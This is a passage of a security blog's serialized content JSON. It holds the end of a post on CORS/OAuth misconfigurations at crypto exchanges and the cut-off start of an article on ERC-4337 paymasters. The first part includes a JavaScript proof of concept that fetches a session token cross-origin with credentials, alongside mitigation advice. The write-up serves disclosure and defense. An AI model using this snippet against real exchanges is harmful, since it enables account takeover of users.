misconfiguration:",{"type":23,"tag":31,"props":101548,"children":101550},{"className":31357,"code":101549,"language":31359,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[101551],{"type":23,"tag":37,"props":101552,"children":101553},{"__ignoreMap":7},[101554,101577,101614,101631,101648,101655,101696],{"type":23,"tag":41,"props":101555,"children":101556},{"class":43,"line":44},[101557,101561,101565,101569,101573],{"type":23,"tag":41,"props":101558,"children":101559},{"style":70},[101560],{"type":28,"value":1737},{"type":23,"tag":41,"props":101562,"children":101563},{"style":64},[101564],{"type":28,"value":36140},{"type":23,"tag":41,"props":101566,"children":101567},{"style":70},[101568],{"type":28,"value":39688},{"type":23,"tag":41,"props":101570,"children":101571},{"style":64},[101572],{"type":28,"value":14813},{"type":23,"tag":41,"props":101574,"children":101575},{"style":70},[101576],{"type":28,"value":102},{"type":23,"tag":41,"props":101578,"children":101579},{"class":43,"line":54},[101580,101584,101589,101593,101597,101601,101605,101610],{"type":23,"tag":41,"props":101581,"children":101582},{"style":64},[101583],{"type":28,"value":7855},{"type":23,"tag":41,"props":101585,"children":101586},{"style":858},[101587],{"type":28,"value":101588}," res",{"type":23,"tag":41,"props":101590,"children":101591},{"style":170},[101592],{"type":28,"value":3017},{"type":23,"tag":41,"props":101594,"children":101595},{"style":58},[101596],{"type":28,"value":36206},{"type":23,"tag":41,"props":101598,"children":101599},{"style":114},[101600],{"type":28,"value":32922},{"type":23,"tag":41,"props":101602,"children":101603},{"style":70},[101604],{"type":28,"value":1737},{"type":23,"tag":41,"props":101606,"children":101607},{"style":735},[101608],{"type":28,"value":101609},"'https://www.exchange.com/api/session_token'",{"type":23,"tag":41,"props":101611,"children":101612},{"style":70},[101613],{"type":28,"value":48876},{"type":23,"tag":41,"props":101615,"children":101616},{"class":43,"line":76},[101617,101622,101627],{"type":23,"tag":41,"props":101618,"children":101619},{"style":858},[101620],{"type":28,"value":101621},"    credentials:",{"type":23,"tag":41,"props":101623,"children":101624},{"style":735},[101625],{"type":28,"value":101626}," 'include'",{"type":23,"tag":41,"props":101628,"children":101629},{"style":70},[101630],{"type":28,"value":3506},{"type":23,"tag":41,"props":101632,"children":101633},{"class":43,"line":85},[101634,101639,101644],{"type":23,"tag":41,"props":101635,"children":101636},{"style":858},[101637],{"type":28,"value":101638},"    method:",{"type":23,"tag":41,"props":101640,"children":101641},{"style":735},[101642],{"type":28,"value":101643}," 'POST'",{"type":23,"tag":41,"props":101645,"children":101646},{"style":70},[101647],{"type":28,"value":3506},{"type":23,"tag":41,"props":101649,"children":101650},{"class":43,"line":105},[101651],{"type":23,"tag":41,"props":101652,"children":101653},{"style":70},[101654],{"type":28,"value":97912},{"type":23,"tag":41,"props":101656,"children":101657},{"class":43,"line":155},[101658,101663,101667,101672,101676,101680,101684,101688,101692],{"type":23,"tag":41,"props":101659,"children":101660},{"style":858},[101661],{"type":28,"value":101662},"  console",{"type":23,"tag":41,"props":101664,"children":101665},{"style":70},[101666],{"type":28,"value":706},{"type":23,"tag":41,"props":101668,"children":101669},{"style":114},[101670],{"type":28,"value":101671},"log",{"type":23,"tag":41,"props":101673,"children":101674},{"style":70},[101675],{"type":28,"value":1737},{"type":23,"tag":41,"props":101677,"children":101678},{"style":58},[101679],{"type":28,"value":32909},{"type":23,"tag":41,"props":101681,"children":101682},{"style":858},[101683],{"type":28,"value":101588},{"type":23,"tag":41,"props":101685,"children":101686},{"style":70},[101687],{"type":28,"value":706},{"type":23,"tag":41,"props":101689,"children":101690},{"style":114},[101691],{"type":28,"value":33991},{"type":23,"tag":41,"props":101693,"children":101694},{"style":70},[101695],{"type":28,"value":15416},{"type":23,"tag":41,"props":101697,"children":101698},{"class":43,"line":186},[101699],{"type":23,"tag":41,"props":101700,"children":101701},{"style":70},[101702],{"type":28,"value":101703},"})();\n",{"type":23,"tag":24,"props":101705,"children":101706},{},[101707],{"type":28,"value":101708},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":23,"tag":546,"props":101710,"children":101711},{"id":40325},[101712],{"type":28,"value":40328},{"type":23,"tag":24,"props":101714,"children":101715},{},[101716,101718,101723],{"type":28,"value":101717},"As mitigation, it is recommended to remove all ",{"type":23,"tag":37,"props":101719,"children":101721},{"className":101720},[],[101722],{"type":28,"value":101395},{"type":28,"value":101724}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":23,"tag":24,"props":101726,"children":101727},{},[101728],{"type":28,"value":101729},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":23,"tag":446,"props":101731,"children":101732},{"id":2811},[101733],{"type":28,"value":2814},{"type":23,"tag":24,"props":101735,"children":101736},{},[101737],{"type":28,"value":101738},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":23,"tag":24,"props":101740,"children":101741},{},[101742],{"type":28,"value":101743},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":23,"tag":2843,"props":101745,"children":101746},{},[101747],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":101749},[101750,101755,101760],{"id":99434,"depth":54,"text":99437,"children":101751},[101752,101753,101754],{"id":99445,"depth":76,"text":99448},{"id":99802,"depth":76,"text":99805},{"id":101365,"depth":76,"text":101368},{"id":101376,"depth":54,"text":101379,"children":101756},[101757,101758,101759],{"id":101440,"depth":76,"text":101443},{"id":101497,"depth":76,"text":99829},{"id":40325,"depth":76,"text":40328},{"id":2811,"depth":54,"text":2814},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":101765,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":101766,"description":101767,"date":101768,"author":101769,"image":101770,"isFeatured":18,"onBlogPage":18,"tags":101772,"body":101775,"_type":2864,"_id":107547,"_source":2866,"_file":107548,"_stem":107549,"_extension":2869},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":101771,"width":96986,"height":13},"/posts/paymasters-evm/title.png",[101773,101774],"evm","ERC-4337",{"type":20,"children":101776,"toc":107526},[101777,101781,101792,101797,101802,101807,101813,101819,101824,101829,101835,101840,101868,101874,101879,101886,101891,101901,101906,101932,101938,101958,101964,101984,101992,102023,102056,102065,102077,102102,102114,102127,102170,102176,102209,102308,102327,102350,102355,102361,102389,102536,102541,102568,102574,102586,102598,102607,102642,102647,104132,104160,104181,104186,104198,104207,104212,104230,104253,104258,104264,104318,104324,104357,104392,105216,105252,105288,105354,105387,105885,105938,105950,106514,106583,106610,107232,107274,107301,107313,107374,107393,107427,107432,107437,107442,107446,107451,107486,107512,107517,107522],{"type":23,"tag":35367,"props":101778,"children":101779},{"id":29014},[101780],{"type":28,"value":29017},{"type":23,"tag":24,"props":101782,"children":101783},{},[101784,101790],{"type":23,"tag":458,"props":101785,"children":101788},{"href":101786,"rel":101787},"https://docs.erc4337.io/",[462],[101789],{"type":28,"value":101774},{"type":28,"value":101791}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":23,"tag":24,"props":101793,"children":101794},{},[101795],{"type":28,"value":101796},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":23,"tag":24,"props":101798,"children":101799},{},[101800],{"type":28,"value":101801},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":23,"tag":24,"props":101803,"children":101804},{},[101805],{"type":28,"value":101806},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":23,"tag":35367,"props":101808,"children":101810},{"id":101809},"erc4337-overview",[101811],{"type":28,"value":101812},"ERC4337 Overview",{"type":23,"tag":446,"props":101814,"children":101816},{"id":101815},"traditional-eoas-vs-smart-contract-wallets",[101817],{"type":28,"value":101818},"Traditional EOAs vs Smart Contract Wallets",{"type":23,"tag":24,"props":101820,"children":101821},{},[101822],{"type":28,"value":101823},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":23,"tag":24,"props":101825,"children":101826},{},[101827],{"type":28,"value":101828},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":23,"tag":446,"props":101830,"children":101832},{"id":101831},"why-erc4337-was-introduced",[101833],{"type":28,"value":101834},"Why ERC‑4337 Was Introduced",{"type":23,"tag":24,"props":101836,"children":101837},{},[101838],{"type":28,"value":101839},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":23,"tag":417,"props":101841,"children":101842},{},[101843,101848,101853,101858,101863],{"type":23,"tag":421,"props":101844,"children":101845},{},[101846],{"type":28,"value":101847},"User recovery for lost keys (e.g. social recovery)",{"type":23,"tag":421,"props":101849,"children":101850},{},[101851],{"type":28,"value":101852},"Batched or atomic multi-step operations in one flow",{"type":23,"tag":421,"props":101854,"children":101855},{},[101856],{"type":28,"value":101857},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":23,"tag":421,"props":101859,"children":101860},{},[101861],{"type":28,"value":101862},"Using custom signature schemes or multisig logic",{"type":23,"tag":421,"props":101864,"children":101865},{},[101866],{"type":28,"value":101867},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":23,"tag":446,"props":101869,"children":101871},{"id":101870},"how-erc-4337-works",[101872],{"type":28,"value":101873},"How ERC-4337 Works",{"type":23,"tag":24,"props":101875,"children":101876},{},[101877],{"type":28,"value":101878},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":23,"tag":24,"props":101880,"children":101881},{},[101882],{"type":23,"tag":3918,"props":101883,"children":101885},{"alt":50573,"src":101884},"/posts/paymasters-evm/flowchart.png",[],{"type":23,"tag":24,"props":101887,"children":101888},{},[101889],{"type":28,"value":101890},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":23,"tag":546,"props":101892,"children":101894},{"id":101893},"useroperation",[101895],{"type":23,"tag":37,"props":101896,"children":101898},{"className":101897},[],[101899],{"type":28,"value":101900},"UserOperation",{"type":23,"tag":24,"props":101902,"children":101903},{},[101904],{"type":28,"value":101905},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":23,"tag":417,"props":101907,"children":101908},{},[101909,101914,101919],{"type":23,"tag":421,"props":101910,"children":101911},{},[101912],{"type":28,"value":101913},"Target contract call(s)",{"type":23,"tag":421,"props":101915,"children":101916},{},[101917],{"type":28,"value":101918},"Signature or validation metadata",{"type":23,"tag":421,"props":101920,"children":101921},{},[101922,101924,101930],{"type":28,"value":101923},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":23,"tag":37,"props":101925,"children":101927},{"className":101926},[],[101928],{"type":28,"value":101929},"UserOperations",{"type":28,"value":101931}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":23,"tag":546,"props":101933,"children":101935},{"id":101934},"smart-contract-account",[101936],{"type":28,"value":101937},"Smart Contract Account",{"type":23,"tag":24,"props":101939,"children":101940},{},[101941,101943,101949,101950,101956],{"type":28,"value":101942},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":23,"tag":37,"props":101944,"children":101946},{"className":101945},[],[101947],{"type":28,"value":101948},"validateUserOp()",{"type":28,"value":1361},{"type":23,"tag":37,"props":101951,"children":101953},{"className":101952},[],[101954],{"type":28,"value":101955},"executeUserOp()",{"type":28,"value":101957},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":23,"tag":546,"props":101959,"children":101961},{"id":101960},"bundler",[101962],{"type":28,"value":101963},"Bundler",{"type":23,"tag":24,"props":101965,"children":101966},{},[101967,101969,101974,101976,101982],{"type":28,"value":101968},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":23,"tag":37,"props":101970,"children":101972},{"className":101971},[],[101973],{"type":28,"value":101929},{"type":28,"value":101975},", packages them, and submits them in a single transaction to the ",{"type":23,"tag":37,"props":101977,"children":101979},{"className":101978},[],[101980],{"type":28,"value":101981},"EntryPoint",{"type":28,"value":101983}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":23,"tag":546,"props":101985,"children":101986},{"id":14715},[101987],{"type":23,"tag":37,"props":101988,"children":101990},{"className":101989},[],[101991],{"type":28,"value":101981},{"type":23,"tag":24,"props":101993,"children":101994},{},[101995,101996,102001,102003,102008,102010,102014,102016,102021],{"type":28,"value":16601},{"type":23,"tag":37,"props":101997,"children":101999},{"className":101998},[],[102000],{"type":28,"value":101981},{"type":28,"value":102002}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":23,"tag":37,"props":102004,"children":102006},{"className":102005},[],[102007],{"type":28,"value":101929},{"type":28,"value":102009}," submitted by a ",{"type":23,"tag":510,"props":102011,"children":102012},{},[102013],{"type":28,"value":101963},{"type":28,"value":102015},", the ",{"type":23,"tag":37,"props":102017,"children":102019},{"className":102018},[],[102020],{"type":28,"value":101981},{"type":28,"value":102022}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":23,"tag":24,"props":102024,"children":102025},{},[102026,102028,102033,102035,102039,102041,102046,102048,102054],{"type":28,"value":102027},"Once all operations have been processed, the ",{"type":23,"tag":37,"props":102029,"children":102031},{"className":102030},[],[102032],{"type":28,"value":101981},{"type":28,"value":102034}," calculates the total gas consumed and reimburses the ",{"type":23,"tag":510,"props":102036,"children":102037},{},[102038],{"type":28,"value":101963},{"type":28,"value":102040},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":23,"tag":37,"props":102042,"children":102044},{"className":102043},[],[102045],{"type":28,"value":101981},{"type":28,"value":102047}," or from a ",{"type":23,"tag":37,"props":102049,"children":102051},{"className":102050},[],[102052],{"type":28,"value":102053},"paymaster",{"type":28,"value":102055}," that has agreed to sponsor the transaction.",{"type":23,"tag":546,"props":102057,"children":102058},{"id":102053},[102059],{"type":23,"tag":37,"props":102060,"children":102062},{"className":102061},[],[102063],{"type":28,"value":102064},"Paymaster",{"type":23,"tag":24,"props":102066,"children":102067},{},[102068,102070,102075],{"type":28,"value":102069},"A ",{"type":23,"tag":37,"props":102071,"children":102073},{"className":102072},[],[102074],{"type":28,"value":102053},{"type":28,"value":102076}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":23,"tag":417,"props":102078,"children":102079},{},[102080,102091],{"type":23,"tag":421,"props":102081,"children":102082},{},[102083,102089],{"type":23,"tag":37,"props":102084,"children":102086},{"className":102085},[],[102087],{"type":28,"value":102088},"validatePaymasterUserOp()",{"type":28,"value":102090}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":23,"tag":421,"props":102092,"children":102093},{},[102094,102100],{"type":23,"tag":37,"props":102095,"children":102097},{"className":102096},[],[102098],{"type":28,"value":102099},"postOp()",{"type":28,"value":102101},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":23,"tag":24,"props":102103,"children":102104},{},[102105,102107,102112],{"type":28,"value":102106},"By supporting both sponsorship and token-based gas payments, ",{"type":23,"tag":37,"props":102108,"children":102110},{"className":102109},[],[102111],{"type":28,"value":102053},{"type":28,"value":102113}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":23,"tag":446,"props":102115,"children":102117},{"id":102116},"understanding-the-entrypoints-flow",[102118,102120,102125],{"type":28,"value":102119},"Understanding the ",{"type":23,"tag":37,"props":102121,"children":102123},{"className":102122},[],[102124],{"type":28,"value":101981},{"type":28,"value":102126},"'s Flow",{"type":23,"tag":24,"props":102128,"children":102129},{},[102130,102132,102137,102138,102143,102145,102156,102158,102163,102164,102169],{"type":28,"value":102131},"When a bundler submits ",{"type":23,"tag":37,"props":102133,"children":102135},{"className":102134},[],[102136],{"type":28,"value":101929},{"type":28,"value":16400},{"type":23,"tag":37,"props":102139,"children":102141},{"className":102140},[],[102142],{"type":28,"value":101981},{"type":28,"value":102144}," contract via ",{"type":23,"tag":458,"props":102146,"children":102149},{"href":102147,"rel":102148},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[462],[102150],{"type":23,"tag":37,"props":102151,"children":102153},{"className":102152},[],[102154],{"type":28,"value":102155},"handleOps()",{"type":28,"value":102157},", the processing occurs in two main phases: ",{"type":23,"tag":510,"props":102159,"children":102160},{},[102161],{"type":28,"value":102162},"Validation",{"type":28,"value":1361},{"type":23,"tag":510,"props":102165,"children":102166},{},[102167],{"type":28,"value":102168},"Execution",{"type":28,"value":706},{"type":23,"tag":546,"props":102171,"children":102173},{"id":102172},"validation-phase",[102174],{"type":28,"value":102175},"Validation Phase",{"type":23,"tag":24,"props":102177,"children":102178},{},[102179,102181,102186,102188,102194,102196,102202,102203,102208],{"type":28,"value":102180},"In this phase, the ",{"type":23,"tag":37,"props":102182,"children":102184},{"className":102183},[],[102185],{"type":28,"value":101981},{"type":28,"value":102187}," first validates all operations in the submitted ",{"type":23,"tag":37,"props":102189,"children":102191},{"className":102190},[],[102192],{"type":28,"value":102193},"UserOps",{"type":28,"value":102195}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":23,"tag":37,"props":102197,"children":102199},{"className":102198},[],[102200],{"type":28,"value":102201},"UserOp",{"type":28,"value":102015},{"type":23,"tag":37,"props":102204,"children":102206},{"className":102205},[],[102207],{"type":28,"value":101981},{"type":28,"value":1474},{"type":23,"tag":5436,"props":102210,"children":102211},{},[102212,102230,102248,102269,102281],{"type":23,"tag":421,"props":102213,"children":102214},{},[102215,102222,102224],{"type":23,"tag":458,"props":102216,"children":102219},{"href":102217,"rel":102218},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[462],[102220],{"type":28,"value":102221},"Calculates",{"type":28,"value":102223}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":23,"tag":37,"props":102225,"children":102227},{"className":102226},[],[102228],{"type":28,"value":102229},"maxFeePerGas",{"type":23,"tag":421,"props":102231,"children":102232},{},[102233,102240,102241,102246],{"type":23,"tag":458,"props":102234,"children":102237},{"href":102235,"rel":102236},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[462],[102238],{"type":28,"value":102239},"Calls",{"type":28,"value":6456},{"type":23,"tag":37,"props":102242,"children":102244},{"className":102243},[],[102245],{"type":28,"value":101948},{"type":28,"value":102247}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":23,"tag":421,"props":102249,"children":102250},{},[102251,102253,102260,102262,102267],{"type":28,"value":102252},"If no paymaster is specified, attempts to ",{"type":23,"tag":458,"props":102254,"children":102257},{"href":102255,"rel":102256},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[462],[102258],{"type":28,"value":102259},"deduct",{"type":28,"value":102261}," the prefund amount from the sender's ETH deposit in the ",{"type":23,"tag":37,"props":102263,"children":102265},{"className":102264},[],[102266],{"type":28,"value":101981},{"type":28,"value":102268}," (this can be partially refunded later if actual execution costs less)",{"type":23,"tag":421,"props":102270,"children":102271},{},[102272,102279],{"type":23,"tag":458,"props":102273,"children":102276},{"href":102274,"rel":102275},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[462],[102277],{"type":28,"value":102278},"Validates",{"type":28,"value":102280}," the nonce to prevent replay attacks",{"type":23,"tag":421,"props":102282,"children":102283},{},[102284,102286,102292,102294,102300,102301,102306],{"type":28,"value":102285},"If a paymaster is specified, it will ",{"type":23,"tag":458,"props":102287,"children":102290},{"href":102288,"rel":102289},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[462],[102291],{"type":28,"value":102259},{"type":28,"value":102293}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":23,"tag":458,"props":102295,"children":102298},{"href":102296,"rel":102297},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[462],[102299],{"type":28,"value":38289},{"type":28,"value":6456},{"type":23,"tag":37,"props":102302,"children":102304},{"className":102303},[],[102305],{"type":28,"value":102088},{"type":28,"value":102307}," on the paymaster contract to verify it will cover gas costs",{"type":23,"tag":24,"props":102309,"children":102310},{},[102311,102313,102318,102320,102325],{"type":28,"value":102312},"Only after all these validation checks pass will the ",{"type":23,"tag":37,"props":102314,"children":102316},{"className":102315},[],[102317],{"type":28,"value":101981},{"type":28,"value":102319}," move on to actually executing the ",{"type":23,"tag":37,"props":102321,"children":102323},{"className":102322},[],[102324],{"type":28,"value":101900},{"type":28,"value":102326},". This strict validation flow ensures that:",{"type":23,"tag":417,"props":102328,"children":102329},{},[102330,102335,102340,102345],{"type":23,"tag":421,"props":102331,"children":102332},{},[102333],{"type":28,"value":102334},"The operation is legitimate and authorized by the user",{"type":23,"tag":421,"props":102336,"children":102337},{},[102338],{"type":28,"value":102339},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":23,"tag":421,"props":102341,"children":102342},{},[102343],{"type":28,"value":102344},"The operation cannot be replayed",{"type":23,"tag":421,"props":102346,"children":102347},{},[102348],{"type":28,"value":102349},"All involved contracts (sender and paymaster) have approved the execution",{"type":23,"tag":24,"props":102351,"children":102352},{},[102353],{"type":28,"value":102354},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":23,"tag":546,"props":102356,"children":102358},{"id":102357},"execution-phase",[102359],{"type":28,"value":102360},"Execution Phase",{"type":23,"tag":24,"props":102362,"children":102363},{},[102364,102366,102371,102373,102380,102382,102387],{"type":28,"value":102365},"After all operations have passed validation, the ",{"type":23,"tag":37,"props":102367,"children":102369},{"className":102368},[],[102370],{"type":28,"value":101981},{"type":28,"value":102372}," begins the ",{"type":23,"tag":458,"props":102374,"children":102377},{"href":102375,"rel":102376},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[462],[102378],{"type":28,"value":102379},"execution",{"type":28,"value":102381}," phase, processing each ",{"type":23,"tag":37,"props":102383,"children":102385},{"className":102384},[],[102386],{"type":28,"value":101900},{"type":28,"value":102388}," individually. For each operation, the flow is:",{"type":23,"tag":5436,"props":102390,"children":102391},{},[102392,102452,102498],{"type":23,"tag":421,"props":102393,"children":102394},{},[102395,102396,102401,102403,102409,102410,102416,102418],{"type":28,"value":16601},{"type":23,"tag":37,"props":102397,"children":102399},{"className":102398},[],[102400],{"type":28,"value":101981},{"type":28,"value":102402}," makes a ",{"type":23,"tag":458,"props":102404,"children":102407},{"href":102405,"rel":102406},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[462],[102408],{"type":28,"value":38289},{"type":28,"value":56772},{"type":23,"tag":37,"props":102411,"children":102413},{"className":102412},[],[102414],{"type":28,"value":102415},"innerHandleOp()",{"type":28,"value":102417},", which:\n",{"type":23,"tag":417,"props":102419,"children":102420},{},[102421,102433,102438],{"type":23,"tag":421,"props":102422,"children":102423},{},[102424,102431],{"type":23,"tag":458,"props":102425,"children":102428},{"href":102426,"rel":102427},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[462],[102429],{"type":28,"value":102430},"Forwards",{"type":28,"value":102432}," the operation to the sender's smart account contract",{"type":23,"tag":421,"props":102434,"children":102435},{},[102436],{"type":28,"value":102437},"Executes the intended transaction(s) within the smart account",{"type":23,"tag":421,"props":102439,"children":102440},{},[102441,102443,102450],{"type":28,"value":102442},"Handles ",{"type":23,"tag":458,"props":102444,"children":102447},{"href":102445,"rel":102446},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[462],[102448],{"type":28,"value":102449},"post-execution",{"type":28,"value":102451}," tasks and cleanup",{"type":23,"tag":421,"props":102453,"children":102454},{},[102455,102457,102463,102465,102471,102472,102478,102480],{"type":28,"value":102456},"If a paymaster was used, ",{"type":23,"tag":37,"props":102458,"children":102460},{"className":102459},[],[102461],{"type":28,"value":102462},"Entrypoint",{"type":28,"value":102464}," will ",{"type":23,"tag":458,"props":102466,"children":102469},{"href":102467,"rel":102468},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[462],[102470],{"type":28,"value":38289},{"type":28,"value":6456},{"type":23,"tag":37,"props":102473,"children":102475},{"className":102474},[],[102476],{"type":28,"value":102477},"paymaster.postOp()",{"type":28,"value":102479}," to:\n",{"type":23,"tag":417,"props":102481,"children":102482},{},[102483,102488,102493],{"type":23,"tag":421,"props":102484,"children":102485},{},[102486],{"type":28,"value":102487},"Allow paymaster to finalize its accounting",{"type":23,"tag":421,"props":102489,"children":102490},{},[102491],{"type":28,"value":102492},"Process any refunds or additional charges",{"type":23,"tag":421,"props":102494,"children":102495},{},[102496],{"type":28,"value":102497},"Complete any paymaster-specific logic",{"type":23,"tag":421,"props":102499,"children":102500},{},[102501,102503,102508,102509,102516,102518],{"type":28,"value":102502},"Finally, after all operations are processed, the ",{"type":23,"tag":37,"props":102504,"children":102506},{"className":102505},[],[102507],{"type":28,"value":101981},{"type":28,"value":6456},{"type":23,"tag":458,"props":102510,"children":102513},{"href":102511,"rel":102512},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[462],[102514],{"type":28,"value":102515},"compensates",{"type":28,"value":102517}," the bundler for:\n",{"type":23,"tag":417,"props":102519,"children":102520},{},[102521,102526,102531],{"type":23,"tag":421,"props":102522,"children":102523},{},[102524],{"type":28,"value":102525},"Gas costs from executing all operations",{"type":23,"tag":421,"props":102527,"children":102528},{},[102529],{"type":28,"value":102530},"Overhead from submitting the batch transaction",{"type":23,"tag":421,"props":102532,"children":102533},{},[102534],{"type":28,"value":102535},"Any unused gas, which is refunded",{"type":23,"tag":24,"props":102537,"children":102538},{},[102539],{"type":28,"value":102540},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":23,"tag":24,"props":102542,"children":102543},{},[102544,102546,102551,102553,102559,102561,102566],{"type":28,"value":102545},"Now that we understand how the ",{"type":23,"tag":37,"props":102547,"children":102549},{"className":102548},[],[102550],{"type":28,"value":101981},{"type":28,"value":102552}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":23,"tag":37,"props":102554,"children":102556},{"className":102555},[],[102557],{"type":28,"value":102558},"paymasters",{"type":28,"value":102560}," that align with the ",{"type":23,"tag":37,"props":102562,"children":102564},{"className":102563},[],[102565],{"type":28,"value":101981},{"type":28,"value":102567},"'s execution model, leading to potential vulnerabilities.",{"type":23,"tag":35367,"props":102569,"children":102571},{"id":102570},"common-pitfalls-in-paymaster-implementation",[102572],{"type":28,"value":102573},"Common Pitfalls in Paymaster Implementation",{"type":23,"tag":24,"props":102575,"children":102576},{},[102577,102579,102584],{"type":28,"value":102578},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":23,"tag":37,"props":102580,"children":102582},{"className":102581},[],[102583],{"type":28,"value":101981},{"type":28,"value":102585}," to exploitation or griefing.",{"type":23,"tag":24,"props":102587,"children":102588},{},[102589,102591,102596],{"type":28,"value":102590},"In this section, we’ll walk through the ",{"type":23,"tag":510,"props":102592,"children":102593},{},[102594],{"type":28,"value":102595},"two most common pitfalls",{"type":28,"value":102597}," we’ve observed in real-world paymaster implementations:",{"type":23,"tag":446,"props":102599,"children":102601},{"id":102600},"undercalculated-gas-costs",[102602],{"type":23,"tag":510,"props":102603,"children":102604},{},[102605],{"type":28,"value":102606},"Undercalculated Gas 